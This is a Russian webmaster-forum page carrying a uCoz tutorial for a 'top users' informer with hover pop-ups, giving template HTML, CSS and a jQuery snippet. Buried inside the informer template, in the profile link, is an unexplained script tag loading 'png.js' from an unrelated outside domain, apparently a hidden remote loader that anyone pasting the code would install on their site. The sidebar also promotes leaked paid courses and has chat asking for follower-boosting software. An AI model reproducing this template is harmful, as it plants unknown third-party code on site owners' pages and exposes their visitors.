Навигация
Все для движков сайта:Все для Seo:
  Графика/дизайн для сайта Графика/дизайн для сайта Купить vip Купить Vip

Чат:
mmmaxxx2011
mmmaxxx2011
29 мая 2017
Нашел спасибо
mmmaxxx2011
mmmaxxx2011
29 мая 2017
ujhsy, Что ты имеешь ввиду под поиском?
ujhsy
ujhsy
17 мая 2017
mmmaxxx2011, Он уже есть
заходи в форум и внизу есть поиск.
mmmaxxx2011
mmmaxxx2011
16 мая 2017
Добрый день,Админ можно сделать поиск по форуму?
warcon
warcon
3 мая 2017
Админ ты можешь ответить людям в этой теме? Или это так сложно?
"Php скрипт для копирования любых лендингов"
gung2005
gung2005
21 апреля 2017
кто знает софт для накрутки подписчиков страницы вк?
Trust
Trust
17 апреля 2017
Написал в ЛС.
akaligraf
akaligraf
14 апреля 2017
Добрый день! купил VIP. как активировать?
prudn
prudn
7 апреля 2017
Всем привет!
Primes
Primes
6 апреля 2017
Здравствуйте! где найти Модуль от темы XDS Coloring Theme
который называется "XDS Coloring > Произвольные Блоки"
Vantey92
Vantey92
19 марта 2017
Плюсую!
Моё почтение Трасту winked
ОтецДаниил
ОтецДаниил
18 марта 2017
Присоединяюсь! Респект Трасту!
jkeks
jkeks
13 марта 2017
Автор cms-file - мега чел. Материалы просто БОМБА.


Последние комментарии:

Онлайн:
Юзеры (1)
Гости (26)
Боты (3)
crawl Bot
Всего на сайте (30)

Название темы Автор Статистика Последнее сообщение
Света Шевчун - Торговая система "D1+M5"

Тема в разделе: Slivup

Trust

Просмотров: 54

Ответов: 0

Автор: Trust

23-04-2017, 19:12

[Vip] Павел Пахомов - Опционы на Миллион

Тема в разделе: Заработок / Трафик

Trust

Просмотров: 62

Ответов: 0

Автор: Trust

23-04-2017, 17:51

[Vip] Чарли Хуперт Встречайся с Девушкой (1,2)

Тема в разделе: Разное

Trust

Просмотров: 342

Ответов: 0

Автор: Trust

17-04-2017, 13:55

Просмотров: 1 534, Комментариев: 0
Tоп пользователей с дополнительной информацией V2
Всем доброго дня, сегодня мы будем создавать информер топ пользователей по комментариям uCoz, при наведении на которые появляется дополнительная информация о пользователе и всё на css

Шаг 1 - Создаём информер:

Для начала нам следует создать и установить на страницу сайта нужный нам информер пользователей, для этого заходим

в Админ панель => Инструменты => Информеры => Создать информер

Раздел: Пользователи
Способ сортировки: колл. комментарий
Количество материалов: 10
Количество колонок: 1

удаляем старый код и устанавливаем новый:

<div class="ddm_top_user">
  <a href="$PROFILE_URL$" class="drop_top_user <?if($NUMBER$=10)?>bottom_no<?endif?>" target="_blank" ><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img alt="$USERNAME$" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/no_avoar.jpg<?endif?>"/>
  <strong>$USERNAME$</strong>
  <span>$COM_POSTS$</span>
  </a>

  <div class="ddm_cell_user">
  <span class="ddm_ugol_user"></span>  
  <div class="ddm_content_user">
  <div class="ddm_content_top">
  <strong>$FULL_NAME$</strong>
  <span>ID:$USER_ID$</span>
  </div>
  <ul>
  <li><span>Пол:</span><?if($GENDER$)?>$GENDER$<?else?>----------<?endif?></li>
  <li><span>Ранг:</span><?if($код$)?> $RANK_NAME$<?else?>----------<?endif?></li>
  <li><span>Группа:</span> $GROUP_NAME$</li>
  <li><span>Репутация:</span> $REPUTATION$</li>
  <li><span>Комментариев:</span> $COM_POSTS$</li>
  <li><span>Зарегистрирован:</span> $REG_DATE$</li>
  </ul>
  </div>
  </div>
</div>


А теперь на страницу сайта в нужное место устанавливаем html каркас с информеров:

 <div class="top_user">
  <div class="top_user_title">Топ пользователей</div>
  $MYINF_1$  
</div>


Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать системной переменной, а не отдельной ссылкой на js.

Шаг 2 - Установим CSS:

Теперь когда данное решение почти готово, пропишем ему следующие css стили:

/* Tоп пользователей с дополнительной информацией
------------------------------------------*/
.top_user {
  float:left;
  width:250px;
  background: #fff;
  border-radius:3px;
  border: 1px solid #CAD3DA;
}

.top_user_title {
  font:11px Verdana,Arial,Helvetica, sans-serif;
  text-shadow: 1px 1px 1px #B0431B;
  text-align:right;
  font-weight:700;  
  color:#fff;

  float:left;
  width:232px;
  height:20px;
  background:#e77e57;
  margin: -1px -1px 0px -1px;  
   
  padding: 7px 10px 3px 10px;  
  border-radius:3px 3px 0px 0px;
}

.ddm_top_user {
  float:left;
  display:block;
  position:relative;
}
   
.drop_top_user {
  float:left;
  width:230px;
  font-weight:700;  
  height:25px;
  padding: 5px 10px 5px 10px;  
  border-bottom: 1px solid #CAD3DA;
}

.drop_top_user img {  
  float:left;
  width:25px;
  height:25px;
  margin-right: 10px;
}

.drop_top_user strong {  
  float:left;
  margin-top: 5px;  
}

.drop_top_user span {  
  float:right;
  width:55px;
  height:20px;  
  text-align:right;  
  padding: 5px 0px 0px 5px;  
  border-left: 1px solid #CAD3DA;
  background: url(ico_comment.png) no-repeat left;  
}  

.ddm_top_user:hover{
  background:#F7F9FB;
}

.ddm_cell_user,  
.ddm_ugol_user{
  width:250px;
}  

.ddm_cell_user {
  left:-999em;
  z-index:998;
  margin:0px auto;
  position:absolute;
  border:1px solid #CAD3DA;  
  border-radius:3px;
}  
   
   
.ddm_content_user {  
  color:#777;
  margin:0;
  width:230px;
  padding:5px 10px;
  overflow:hidden;
  background:#fff;
  border-radius:3px;
}  
   
.ddm_top_user:hover .ddm_cell_user{
  top: 0px;  
  right:255px;
  left:auto;  
}  
   
.ddm_ugol_user {  
  height:17px;  
  top: 10px;
  right: -9px;
  position:absolute;  
  background:url(angle_right.png) no-repeat right;  
}

.ddm_content_top {
  float:left;
  width:100%;
  margin-bottom: 10px;
  padding: 0px 0px 5px 0px;  
  border-bottom:1px solid #CAD3DA;  
}  

.ddm_content_top span {
  float:right;
  margin-top:2px;
  font:9px Verdana,Arial,Helvetica, sans-serif; color:#999;
}  

.ddm_content_user ul{  
  margin:0;
  padding:0;
  list-style:none;
}  

.ddm_content_user li{  
  float:left;
  width:100%;
  padding: 3px 0px 3px 0px;  
}  

.ddm_content_user li span{  
  float:left;
  width:120px;
}  

.cu_li1 {background:#fff}  
.cu_li2 {background:#F7F9FB;}  

.bottom_no {
  border-bottom:none;  
} 


Шаг 3 - Установим JS:

А для того чтобы в появляющейся ячейки с дополнительной информацией пользователя, не пришлось вручную прописывать классы чётным спискам, следует установить вниз страницы перед закрывающим тегом следующий js

<script language="javascript">
  $(document).ready(function() {
  $('.ddm_content_user ul li:odd').addClass('cu_li1');
  $('.ddm_content_user ul li:even').addClass('cu_li2');  
  });  
</script>


Раздел: Все для Ucoz
Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

Яндекс и Google апдейты:
    Апдейты Яndex тИЦ
    19.05.2017Последний
    12.04.2017
    24.03.2017
    Апдейты Яndex выдачи
    10.07.2017Последний
    27.06.2017
    22.06.2017
    Апдейты ЯКаталога
    26.07.2017Последний
    24.07.2017
    22.07.2017
    Апдейты Google
    06.12.2013Последний

Популярные новости

Витрина ссылок: